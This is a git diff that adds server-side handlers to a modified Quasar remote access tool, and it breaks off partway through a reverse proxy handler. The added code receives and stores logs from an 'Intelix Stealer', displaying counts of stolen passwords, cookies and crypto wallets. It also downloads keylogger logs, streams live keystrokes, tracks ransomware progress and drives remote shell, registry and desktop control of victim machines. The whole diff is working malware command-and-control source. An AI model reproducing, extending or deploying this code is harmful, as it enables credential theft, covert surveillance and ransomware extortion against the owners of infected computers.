client, GetDirectoryResponse message) + { + if (message.Items == null) + { + message.Items = new FileSystemEntry[0]; + } + OnDirectoryChanged(message.RemotePath, message.Items); + } + + private void Execute(ISender client, SetStatusFileManager message) + { + OnReport(message.Message); + } + + private void ProcessActionPerformed(object sender, ProcessAction action, bool result) + { + if (action != ProcessAction.Start) return; + OnReport(result ? "Process started successfully" : "Process failed to start"); + } + + /// + /// Removes a file transfer given the transfer id. + /// + /// The file transfer id. + private void RemoveFileTransfer(int transferId) + { + lock (_syncLock) + { + var transfer = _activeFileTransfers.FirstOrDefault(t => t.Id == transferId); + transfer?.FileSplit?.Dispose(); + _activeFileTransfers.RemoveAll(s => s.Id == transferId); + } + } + + /// + /// Generates a unique file transfer id. + /// + /// A unique file transfer id. + private int GetUniqueFileTransferId() + { + int id; + lock (_syncLock) + { + do + { + id = FileTransfer.GetRandomTransferId(); + // generate new id until we have a unique one + } while (_activeFileTransfers.Any(f => f.Id == id)); + } + + return id; + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + lock (_syncLock) + { + foreach (var transfer in _activeFileTransfers) + { + _client.Send(new FileTransferCancel {Id = transfer.Id}); + transfer.FileSplit?.Dispose(); + if (transfer.Type == TransferType.Download) + File.Delete(transfer.LocalPath); + } + + _activeFileTransfers.Clear(); + } + + MessageHandler.Unregister(_taskManagerHandler); + _taskManagerHandler.ProcessActionPerformed -= ProcessActionPerformed; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/IntelixStealerHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/IntelixStealerHandler.cs new file mode 100755 index 0000000..0a70030 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/IntelixStealerHandler.cs @@ -0,0 +1,77 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Server.Networking; +using Quasar.Server.Helper; +using System; +using System.IO; +using System.Windows.Forms; + +namespace Quasar.Server.Messages +{ + public class IntelixStealerHandler : MessageProcessorBase + { + public IntelixStealerHandler() : base(true) + { + } + + public override bool CanExecute(IMessage message) => message is GetIntelixStealerLogsResponse; + + public override bool CanExecuteFrom(ISender sender) => true; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetIntelixStealerLogsResponse response: + Execute(sender, response); + break; + } + } + + private void Execute(ISender client, GetIntelixStealerLogsResponse message) + { + if (!message.Success) + { + MessageBox.Show($"Intelix Stealer failed: {message.ErrorMessage}", + "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + return; + } + + try + { + // Get client-specific folder for Intelix stealer results + var quasarClient = client as Client; + if (quasarClient == null) + { + MessageBox.Show("Invalid client reference.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + return; + } + + string clientFolder = ClientDataManager.GetClientFolder(quasarClient, "Intelix"); + string pcName = quasarClient.Value.PcName.Replace(":", "_").Replace("\\", "_").Replace("/", "_"); + string fileName = $"Intelix_{pcName}.zip"; + string filePath = Path.Combine(clientFolder, fileName); + + File.WriteAllBytes(filePath, message.ZipData); + + // Show results form + using (var resultsForm = new Forms.FrmIntelixResults( + filePath, + message.Hwid, + message.PublicIp, + message.CountryCode, + message.PasswordCount, + message.CookieCount, + message.WalletCount)) + { + resultsForm.ShowDialog(); + } + } + catch (Exception ex) + { + MessageBox.Show($"Error saving Intelix logs: {ex.Message}", + "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/KeyloggerHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/KeyloggerHandler.cs new file mode 100755 index 0000000..41a5671 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/KeyloggerHandler.cs @@ -0,0 +1,165 @@ +using Quasar.Common.Helpers; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using System; +using System.IO; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with the remote keylogger. + /// + public class KeyloggerHandler : MessageProcessorBase, IDisposable + { + /// + /// The client which is associated with this keylogger handler. + /// + private readonly Client _client; + + /// + /// The file manager handler used to retrieve keylogger logs from the client. + /// + private readonly FileManagerHandler _fileManagerHandler; + + /// + /// The remote path of the keylogger logs directory. + /// + private string _remoteKeyloggerDirectory; + + /// + /// The amount of all running log transfers. + /// + private int _allTransfers; + + /// + /// The amount of all completed log transfers. + /// + private int _completedTransfers; + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public KeyloggerHandler(Client client) : base(true) + { + _client = client; + _fileManagerHandler = new FileManagerHandler(client, "Logs\\"); + _fileManagerHandler.DirectoryChanged += DirectoryChanged; + _fileManagerHandler.FileTransferUpdated += FileTransferUpdated; + _fileManagerHandler.ProgressChanged += StatusUpdated; + MessageHandler.Register(_fileManagerHandler); + } + + /// + public override bool CanExecute(IMessage message) => message is GetKeyloggerLogsDirectoryResponse; + + /// + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetKeyloggerLogsDirectoryResponse logsDirectory: + Execute(sender, logsDirectory); + break; + } + } + + /// + /// Retrieves the keylogger logs and begins downloading them. + /// + public void RetrieveLogs() + { + _client.Send(new GetKeyloggerLogsDirectory()); + } + + private void Execute(ISender client, GetKeyloggerLogsDirectoryResponse message) + { + _remoteKeyloggerDirectory = message.LogsDirectory; + client.Send(new GetDirectory {RemotePath = _remoteKeyloggerDirectory}); + } + + private string GetDownloadProgress(int allTransfers, int completedTransfers) + { + decimal progress = Math.Round((decimal)((double)completedTransfers / (double)allTransfers * 100.0), 2); + return $"Downloading...({progress}%)"; + } + + private void StatusUpdated(object sender, string value) + { + // called when directory does not exist or access is denied + OnReport($"No logs found ({value})"); + } + + private void DirectoryChanged(object sender, string remotePath, FileSystemEntry[] items) + { + if (items.Length == 0) + { + OnReport("No logs found"); + return; + } + + _allTransfers = items.Length; + _completedTransfers = 0; + OnReport(GetDownloadProgress(_allTransfers, _completedTransfers)); + + foreach (var item in items) + { + // don't escape from download directory + if (FileHelper.HasIllegalCharacters(item.Name)) + { + // disconnect malicious client + _client.Disconnect(); + return; + } + + _fileManagerHandler.BeginDownloadFile(Path.Combine(_remoteKeyloggerDirectory, item.Name), item.Name + ".html", true); + } + } + + private void FileTransferUpdated(object sender, FileTransfer transfer) + { + if (transfer.Status == "Completed") + { + try + { + _completedTransfers++; + File.WriteAllText(transfer.LocalPath, FileHelper.ReadLogFile(transfer.LocalPath, _client.Value.AesInstance)); + OnReport(_allTransfers == _completedTransfers + ? "Successfully retrieved all logs" + : GetDownloadProgress(_allTransfers, _completedTransfers)); + } + catch (Exception) + { + OnReport("Failed to decrypt and write logs"); + } + } + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + MessageHandler.Unregister(_fileManagerHandler); + _fileManagerHandler.ProgressChanged -= StatusUpdated; + _fileManagerHandler.FileTransferUpdated -= FileTransferUpdated; + _fileManagerHandler.DirectoryChanged -= DirectoryChanged; + _fileManagerHandler.Dispose(); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/LiveKeyloggerHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/LiveKeyloggerHandler.cs new file mode 100755 index 0000000..f3d1561 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/LiveKeyloggerHandler.cs @@ -0,0 +1,55 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Server.Forms; +using Quasar.Server.Networking; +using System.Collections.Generic; +using System.Linq; + +namespace Quasar.Server.Messages +{ + public class LiveKeyloggerHandler : IMessageProcessor + { + private static readonly Dictionary _openForms = new Dictionary(); + + public bool CanExecute(IMessage message) => message is LiveKeystrokeData; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + if (message is LiveKeystrokeData data && sender is Client client) + { + lock (_openForms) + { + if (_openForms.ContainsKey(client)) + { + _openForms[client].AddKeystroke(data.WindowTitle, data.Keystroke); + } + } + } + } + + public static FrmLiveKeylogger CreateOrGetForm(Client client) + { + lock (_openForms) + { + if (_openForms.ContainsKey(client)) + { + return _openForms[client]; + } + + var form = new FrmLiveKeylogger(client); + form.FormClosed += (s, e) => + { + lock (_openForms) + { + _openForms.Remove(client); + } + }; + + _openForms.Add(client, form); + return form; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/RansomwareHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/RansomwareHandler.cs new file mode 100755 index 0000000..a3f22a3 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/RansomwareHandler.cs @@ -0,0 +1,59 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Server.Forms; +using Quasar.Server.Networking; +using System.Collections.Generic; +using System.Linq; + +namespace Quasar.Server.Messages +{ + public class RansomwareHandler : IMessageProcessor + { + private static readonly Dictionary _forms = new Dictionary(); + + public bool CanExecute(IMessage message) => message is RansomwareResponse; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case RansomwareResponse response: + Execute((Client)sender, response); + break; + } + } + + private void Execute(Client client, RansomwareResponse response) + { + lock (_forms) + { + if (_forms.ContainsKey(client)) + { + _forms[client].UpdateProgress(response); + } + } + } + + public static void RegisterForm(Client client, FrmRansomware form) + { + lock (_forms) + { + if (_forms.ContainsKey(client)) + { + _forms[client].Close(); + } + _forms[client] = form; + } + } + + public static void UnregisterForm(Client client) + { + lock (_forms) + { + _forms.Remove(client); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/RegistryHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/RegistryHandler.cs new file mode 100755 index 0000000..157457c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/RegistryHandler.cs @@ -0,0 +1,413 @@ +using Microsoft.Win32; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using Quasar.Server.Networking; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with the remote registry. + /// + public class RegistryHandler : MessageProcessorBase + { + /// + /// The client which is associated with this registry handler. + /// + private readonly Client _client; + + public delegate void KeysReceivedEventHandler(object sender, string rootKey, RegSeekerMatch[] matches); + public delegate void KeyCreatedEventHandler(object sender, string parentPath, RegSeekerMatch match); + public delegate void KeyDeletedEventHandler(object sender, string parentPath, string subKey); + public delegate void KeyRenamedEventHandler(object sender, string parentPath, string oldSubKey, string newSubKey); + public delegate void ValueCreatedEventHandler(object sender, string keyPath, RegValueData value); + public delegate void ValueDeletedEventHandler(object sender, string keyPath, string valueName); + public delegate void ValueRenamedEventHandler(object sender, string keyPath, string oldValueName, string newValueName); + public delegate void ValueChangedEventHandler(object sender, string keyPath, RegValueData value); + + public event KeysReceivedEventHandler KeysReceived; + public event KeyCreatedEventHandler KeyCreated; + public event KeyDeletedEventHandler KeyDeleted; + public event KeyRenamedEventHandler KeyRenamed; + public event ValueCreatedEventHandler ValueCreated; + public event ValueDeletedEventHandler ValueDeleted; + public event ValueRenamedEventHandler ValueRenamed; + public event ValueChangedEventHandler ValueChanged; + + /// + /// Reports initially received registry keys. + /// + /// The root registry key name. + /// The child registry keys. + private void OnKeysReceived(string rootKey, RegSeekerMatch[] matches) + { + SynchronizationContext.Post(t => + { + var handler = KeysReceived; + handler?.Invoke(this, rootKey, (RegSeekerMatch[]) t); + }, matches); + } + + /// + /// Reports created registry keys. + /// + /// The registry key parent path. + /// The created registry key. + private void OnKeyCreated(string parentPath, RegSeekerMatch match) + { + SynchronizationContext.Post(t => + { + var handler = KeyCreated; + handler?.Invoke(this, parentPath, (RegSeekerMatch) t); + }, match); + } + + /// + /// Reports deleted registry keys. + /// + /// The registry key parent path. + /// The registry sub key name. + private void OnKeyDeleted(string parentPath, string subKey) + { + SynchronizationContext.Post(t => + { + var handler = KeyDeleted; + handler?.Invoke(this, parentPath, (string) t); + }, subKey); + } + + /// + /// Reports renamed registry keys. + /// + /// The registry key parent path. + /// The old registry sub key name. + /// The new registry sub key name. + private void OnKeyRenamed(string parentPath, string oldSubKey, string newSubKey) + { + SynchronizationContext.Post(t => + { + var handler = KeyRenamed; + handler?.Invoke(this, parentPath, oldSubKey, (string) t); + }, newSubKey); + } + + /// + /// Reports created registry values. + /// + /// The registry key path. + /// The created value. + private void OnValueCreated(string keyPath, RegValueData value) + { + SynchronizationContext.Post(t => + { + var handler = ValueCreated; + handler?.Invoke(this, keyPath, (RegValueData)t); + }, value); + } + + /// + /// Reports deleted registry values. + /// + /// The registry key path. + /// The value name. + private void OnValueDeleted(string keyPath, string valueName) + { + SynchronizationContext.Post(t => + { + var handler = ValueDeleted; + handler?.Invoke(this, keyPath, (string) t); + }, valueName); + } + + /// + /// Reports renamed registry values. + /// + /// The registry key path. + /// The old value name. + /// The new value name. + private void OnValueRenamed(string keyPath, string oldValueName, string newValueName) + { + SynchronizationContext.Post(t => + { + var handler = ValueRenamed; + handler?.Invoke(this, keyPath, oldValueName, (string) t); + }, newValueName); + } + + /// + /// Reports changed registry values. + /// + /// The registry key path. + /// The new value. + private void OnValueChanged(string keyPath, RegValueData value) + { + SynchronizationContext.Post(t => + { + var handler = ValueChanged; + handler?.Invoke(this, keyPath, (RegValueData) t); + }, value); + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public RegistryHandler(Client client) : base(true) + { + _client = client; + } + + /// + public override bool CanExecute(IMessage message) => message is GetRegistryKeysResponse || + message is GetCreateRegistryKeyResponse || + message is GetDeleteRegistryKeyResponse || + message is GetRenameRegistryKeyResponse || + message is GetCreateRegistryValueResponse || + message is GetDeleteRegistryValueResponse || + message is GetRenameRegistryValueResponse || + message is GetChangeRegistryValueResponse; + + /// + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetRegistryKeysResponse keysResp: + Execute(sender, keysResp); + break; + case GetCreateRegistryKeyResponse createKeysResp: + Execute(sender, createKeysResp); + break; + case GetDeleteRegistryKeyResponse deleteKeysResp: + Execute(sender, deleteKeysResp); + break; + case GetRenameRegistryKeyResponse renameKeysResp: + Execute(sender, renameKeysResp); + break; + case GetCreateRegistryValueResponse createValueResp: + Execute(sender, createValueResp); + break; + case GetDeleteRegistryValueResponse deleteValueResp: + Execute(sender, deleteValueResp); + break; + case GetRenameRegistryValueResponse renameValueResp: + Execute(sender, renameValueResp); + break; + case GetChangeRegistryValueResponse changeValueResp: + Execute(sender, changeValueResp); + break; + } + } + + /// + /// Loads the registry keys of a given root key. + /// + /// The root key name. + public void LoadRegistryKey(string rootKeyName) + { + _client.Send(new DoLoadRegistryKey + { + RootKeyName = rootKeyName + }); + } + + /// + /// Creates a registry key at the given parent path. + /// + /// The parent path. + public void CreateRegistryKey(string parentPath) + { + _client.Send(new DoCreateRegistryKey + { + ParentPath = parentPath + }); + } + + /// + /// Deletes the given registry key. + /// + /// The parent path of the registry key to delete. + /// The registry key name to delete. + public void DeleteRegistryKey(string parentPath, string keyName) + { + _client.Send(new DoDeleteRegistryKey + { + ParentPath = parentPath, + KeyName = keyName + }); + } + + /// + /// Renames the given registry key. + /// + /// The parent path of the registry key to rename. + /// The old name of the registry key. + /// The new name of the registry key. + public void RenameRegistryKey(string parentPath, string oldKeyName, string newKeyName) + { + _client.Send(new DoRenameRegistryKey + { + ParentPath = parentPath, + OldKeyName = oldKeyName, + NewKeyName = newKeyName + }); + } + + /// + /// Creates a registry key value. + /// + /// The registry key path. + /// The kind of registry key value. + public void CreateRegistryValue(string keyPath, RegistryValueKind kind) + { + _client.Send(new DoCreateRegistryValue + { + KeyPath = keyPath, + Kind = kind + }); + } + + /// + /// Deletes the registry key value. + /// + /// The registry key path. + /// The registry key value name to delete. + public void DeleteRegistryValue(string keyPath, string valueName) + { + _client.Send(new DoDeleteRegistryValue + { + KeyPath = keyPath, + ValueName = valueName + }); + } + + /// + /// Renames the registry key value. + /// + /// The registry key path. + /// The old registry key value name. + /// The new registry key value name. + public void RenameRegistryValue(string keyPath, string oldValueName, string newValueName) + { + _client.Send(new DoRenameRegistryValue + { + KeyPath = keyPath, + OldValueName = oldValueName, + NewValueName = newValueName + }); + } + + /// + /// Changes the registry key value. + /// + /// The registry key path. + /// The updated registry key value. + public void ChangeRegistryValue(string keyPath, RegValueData value) + { + _client.Send(new DoChangeRegistryValue + { + KeyPath = keyPath, + Value = value + }); + } + + private void Execute(ISender client, GetRegistryKeysResponse message) + { + if (!message.IsError) + { + OnKeysReceived(message.RootKey, message.Matches); + } + else + { + OnReport(message.ErrorMsg); + } + } + + private void Execute(ISender client, GetCreateRegistryKeyResponse message) + { + if (!message.IsError) + { + OnKeyCreated(message.ParentPath, message.Match); + } + else + { + OnReport(message.ErrorMsg); + } + } + + private void Execute(ISender client, GetDeleteRegistryKeyResponse message) + { + if (!message.IsError) + { + OnKeyDeleted(message.ParentPath, message.KeyName); + } + else + { + OnReport(message.ErrorMsg); + } + } + + private void Execute(ISender client, GetRenameRegistryKeyResponse message) + { + if (!message.IsError) + { + OnKeyRenamed(message.ParentPath, message.OldKeyName, message.NewKeyName); + } + else + { + OnReport(message.ErrorMsg); + } + } + + private void Execute(ISender client, GetCreateRegistryValueResponse message) + { + if (!message.IsError) + { + OnValueCreated(message.KeyPath, message.Value); + } + else + { + OnReport(message.ErrorMsg); + } + } + + private void Execute(ISender client, GetDeleteRegistryValueResponse message) + { + if (!message.IsError) + { + OnValueDeleted(message.KeyPath, message.ValueName); + } + else + { + OnReport(message.ErrorMsg); + } + } + + private void Execute(ISender client, GetRenameRegistryValueResponse message) + { + if (!message.IsError) + { + OnValueRenamed(message.KeyPath, message.OldValueName, message.NewValueName); + } + else + { + OnReport(message.ErrorMsg); + } + } + + private void Execute(ISender client, GetChangeRegistryValueResponse message) + { + if (!message.IsError) + { + OnValueChanged(message.KeyPath, message.Value); + } + else + { + OnReport(message.ErrorMsg); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/RemoteDesktopHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/RemoteDesktopHandler.cs new file mode 100755 index 0000000..fd9d75c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/RemoteDesktopHandler.cs @@ -0,0 +1,177 @@ +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Common.Video; +using Quasar.Common.Video.Codecs; +using Quasar.Server.Networking; +using System; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Threading; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with the remote desktop. + /// + public class RemoteDesktopHandler : MessageProcessorBase, IDisposable + { + /// + /// States if the client is currently streaming desktop frames. + /// + public bool IsStarted { get; set; } + + /// + /// Used in lock statements to synchronize access to between UI thread and thread pool. + /// + private readonly object _syncLock = new object(); + + /// + /// Used in lock statements to synchronize access to between UI thread and thread pool. + /// + private readonly object _sizeLock = new object(); + + /// + /// The local resolution, see . + /// + private Size _localResolution; + + /// + /// The local resolution in width x height. It indicates to which resolution the received frame should be resized. + /// + public Size LocalResolution + { + get { lock (_sizeLock) { return _localResolution; } } + set { lock (_sizeLock) { _localResolution = value; } } + } + + public delegate void DisplaysChangedEventHandler(object sender, int value); + public event DisplaysChangedEventHandler DisplaysChanged; + + private void OnDisplaysChanged(int value) + { + SynchronizationContext.Post(val => + { + var handler = DisplaysChanged; + handler?.Invoke(this, (int)val); + }, value); + } + + private readonly Client _client; + private UnsafeStreamCodec _codec; + + public RemoteDesktopHandler(Client client) : base(true) + { + _client = client; + } + + public override bool CanExecute(IMessage message) => message is GetDesktopResponse || message is GetMonitorsResponse; + + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetDesktopResponse d: + Execute(sender, d); + break; + case GetMonitorsResponse m: + Execute(sender, m); + break; + } + } + + public void BeginReceiveFrames(int quality, int display, int fpsCap = 60) + { + lock (_syncLock) + { + IsStarted = true; + _codec?.Dispose(); + _codec = null; + _client.Send(new GetDesktop { CreateNew = true, Quality = quality, DisplayIndex = display, FpsCap = fpsCap }); + } + } + + public void EndReceiveFrames() + { + lock (_syncLock) + { + IsStarted = false; + _client.Send(new GetDesktop { StopStreaming = true }); + } + } + + public void RefreshDisplays() + { + _client.Send(new GetMonitors()); + } + + public void SendMouseEvent(MouseAction mouseAction, bool isMouseDown, int x, int y, int displayIndex) + { + lock (_syncLock) + { + if (_codec == null) return; + _client.Send(new DoMouseEvent + { + Action = mouseAction, + IsMouseDown = isMouseDown, + X = x * _codec.Resolution.Width / LocalResolution.Width, + Y = y * _codec.Resolution.Height / LocalResolution.Height, + MonitorIndex = displayIndex + }); + } + } + + public void SendKeyboardEvent(byte keyCode, bool keyDown) + { + _client.Send(new DoKeyboardEvent { Key = keyCode, KeyDown = keyDown }); + } + + private void Execute(ISender client, GetDesktopResponse message) + { + lock (_syncLock) + { + if (!IsStarted) return; + + if (_codec == null || _codec.ImageQuality != message.Quality || + _codec.Monitor != message.Monitor || _codec.Resolution != message.Resolution) + { + _codec?.Dispose(); + _codec = new UnsafeStreamCodec(message.Quality, message.Monitor, message.Resolution); + } + + using (MemoryStream ms = new MemoryStream(message.Image)) + { + OnReport(new Bitmap(_codec.DecodeData(ms), LocalResolution)); + } + + message.Image = null; + } + } + + private void Execute(ISender client, GetMonitorsResponse message) + { + OnDisplaysChanged(message.Number); + } + + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + lock (_syncLock) + { + _codec?.Dispose(); + IsStarted = false; + } + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/RemoteDesktopHandler.cs.bak b/Quasar-1.4.1/Quasar.Server/Messages/RemoteDesktopHandler.cs.bak new file mode 100755 index 0000000..a442d45 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/RemoteDesktopHandler.cs.bak @@ -0,0 +1,254 @@ +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Common.Video; +using Quasar.Common.Video.Codecs; +using Quasar.Server.Networking; +using System; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with the remote desktop. + /// + public class RemoteDesktopHandler : MessageProcessorBase, IDisposable + { + /// + /// States if the client is currently streaming desktop frames. + /// + public bool IsStarted { get; set; } + + /// + /// Used in lock statements to synchronize access to between UI thread and thread pool. + /// + private readonly object _syncLock = new object(); + + /// + /// Used in lock statements to synchronize access to between UI thread and thread pool. + /// + private readonly object _sizeLock = new object(); + + /// + /// The local resolution, see . + /// + private Size _localResolution; + + /// + /// The local resolution in width x height. It indicates to which resolution the received frame should be resized. + /// + /// + /// This property is thread-safe. + /// + public Size LocalResolution + { + get + { + lock (_sizeLock) + { + return _localResolution; + } + } + set + { + lock (_sizeLock) + { + _localResolution = value; + } + } + } + + /// + /// Represents the method that will handle display changes. + /// + /// The message processor which raised the event. + /// All currently available displays. + public delegate void DisplaysChangedEventHandler(object sender, int value); + + /// + /// Raised when a display changed. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event DisplaysChangedEventHandler DisplaysChanged; + + /// + /// Reports changed displays. + /// + /// All currently available displays. + private void OnDisplaysChanged(int value) + { + SynchronizationContext.Post(val => + { + var handler = DisplaysChanged; + handler?.Invoke(this, (int)val); + }, value); + } + + /// + /// The client which is associated with this remote desktop handler. + /// + private readonly Client _client; + + /// + /// The video stream codec used to decode received frames. + /// + private UnsafeStreamCodec _codec; + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public RemoteDesktopHandler(Client client) : base(true) + { + _client = client; + } + + /// + public override bool CanExecute(IMessage message) => message is GetDesktopResponse || message is GetMonitorsResponse; + + /// + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetDesktopResponse d: + Execute(sender, d); + break; + case GetMonitorsResponse m: + Execute(sender, m); + break; + } + } + + /// + /// Begins receiving frames from the client using the specified quality and display. + /// + /// The quality of the remote desktop frames. + /// The display to receive frames from. + public void BeginReceiveFrames(int quality, int display, int fpsCap = 60) + { + lock (_syncLock) + { + IsStarted = true; + _codec?.Dispose(); + _codec = null; + _client.Send(new GetDesktop { CreateNew = true, Quality = quality, DisplayIndex = display }); + } + } + + /// + /// Ends receiving frames from the client. + /// + public void EndReceiveFrames() + { + lock (_syncLock) + { + IsStarted = false; + } + } + + /// + /// Refreshes the available displays of the client. + /// + public void RefreshDisplays() + { + _client.Send(new GetMonitors()); + } + + /// + /// Sends a mouse event to the specified display of the client. + /// + /// The mouse action to send. + /// Indicates whether it's a mousedown or mouseup event. + /// The X-coordinate inside the . + /// The Y-coordinate inside the . + /// The display to execute the mouse event on. + public void SendMouseEvent(MouseAction mouseAction, bool isMouseDown, int x, int y, int displayIndex) + { + lock (_syncLock) + { + _client.Send(new DoMouseEvent + { + Action = mouseAction, + IsMouseDown = isMouseDown, + // calculate remote width & height + X = x * _codec.Resolution.Width / LocalResolution.Width, + Y = y * _codec.Resolution.Height / LocalResolution.Height, + MonitorIndex = displayIndex + }); + } + } + + /// + /// Sends a keyboard event to the client. + /// + /// The pressed key. + /// Indicates whether it's a keydown or keyup event. + public void SendKeyboardEvent(byte keyCode, bool keyDown) + { + _client.Send(new DoKeyboardEvent {Key = keyCode, KeyDown = keyDown}); + } + + private void Execute(ISender client, GetDesktopResponse message) + { + lock (_syncLock) + { + if (!IsStarted) + return; + + if (_codec == null || _codec.ImageQuality != message.Quality || _codec.Monitor != message.Monitor || _codec.Resolution != message.Resolution) + { + _codec?.Dispose(); + _codec = new UnsafeStreamCodec(message.Quality, message.Monitor, message.Resolution); + } + + using (MemoryStream ms = new MemoryStream(message.Image)) + { + // create deep copy & resize bitmap to local resolution + OnReport(new Bitmap(_codec.DecodeData(ms), LocalResolution)); + } + + message.Image = null; + + client.Send(new GetDesktop {Quality = message.Quality, DisplayIndex = message.Monitor}); + } + } + + private void Execute(ISender client, GetMonitorsResponse message) + { + OnDisplaysChanged(message.Number); + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + lock (_syncLock) + { + _codec?.Dispose(); + IsStarted = false; + } + } + } + } +} + + + diff --git a/Quasar-1.4.1/Quasar.Server/Messages/RemoteShellHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/RemoteShellHandler.cs new file mode 100755 index 0000000..eae41dc --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/RemoteShellHandler.cs @@ -0,0 +1,89 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Server.Networking; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with the remote shell. + /// + public class RemoteShellHandler : MessageProcessorBase + { + /// + /// The client which is associated with this remote shell handler. + /// + private readonly Client _client; + + /// + /// Represents the method that will command errors. + /// + /// The message processor which raised the event. + /// The error message. + public delegate void CommandErrorEventHandler(object sender, string errorMessage); + + /// + /// Raised when a command writes to stderr. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event CommandErrorEventHandler CommandError; + + /// + /// Reports a command error. + /// + /// The error message. + private void OnCommandError(string errorMessage) + { + SynchronizationContext.Post(val => + { + var handler = CommandError; + handler?.Invoke(this, (string)val); + }, errorMessage); + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public RemoteShellHandler(Client client) : base(true) + { + _client = client; + } + + /// + public override bool CanExecute(IMessage message) => message is DoShellExecuteResponse; + + /// + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoShellExecuteResponse resp: + Execute(sender, resp); + break; + } + } + + /// + /// Sends a command to execute in the remote shell of the client. + /// + /// The command to execute. + public void SendCommand(string command) + { + _client.Send(new DoShellExecute {Command = command}); + } + + private void Execute(ISender client, DoShellExecuteResponse message) + { + if (message.IsError) + OnCommandError(message.Output); + else + OnReport(message.Output); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/ReverseProxyHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/ReverseProxyHandler.cs new file mode 100755 index 0000000..99f64e4 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/ReverseProxyHandler.cs @@ -0,0 +1,127 @@ +using Quasar.Common.Messages; +using Quasar.Common.Messages.ReverseProxy; +using Quasar.Common.Networking; +using Quasar.Server.Networking; +using Quasar.Server.ReverseProxy; +using System; +using System.Linq; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with the remote reverse proxy. + /// + public class ReverseProxyHandler : MessageProcessorBase + { + /// + /// The clients which is associated with this reverse proxy handler. + /// + private readonly Client[] _clients; + + /// + /// The reverse proxy server to accept & serve SOCKS5 connections. + /// + private readonly ReverseProxyServer _socksServer; + + /// + /// Initializes a new instance of the class using the given clients. + /// + /// The associated clients. + public ReverseProxyHandler(Client[] clients) 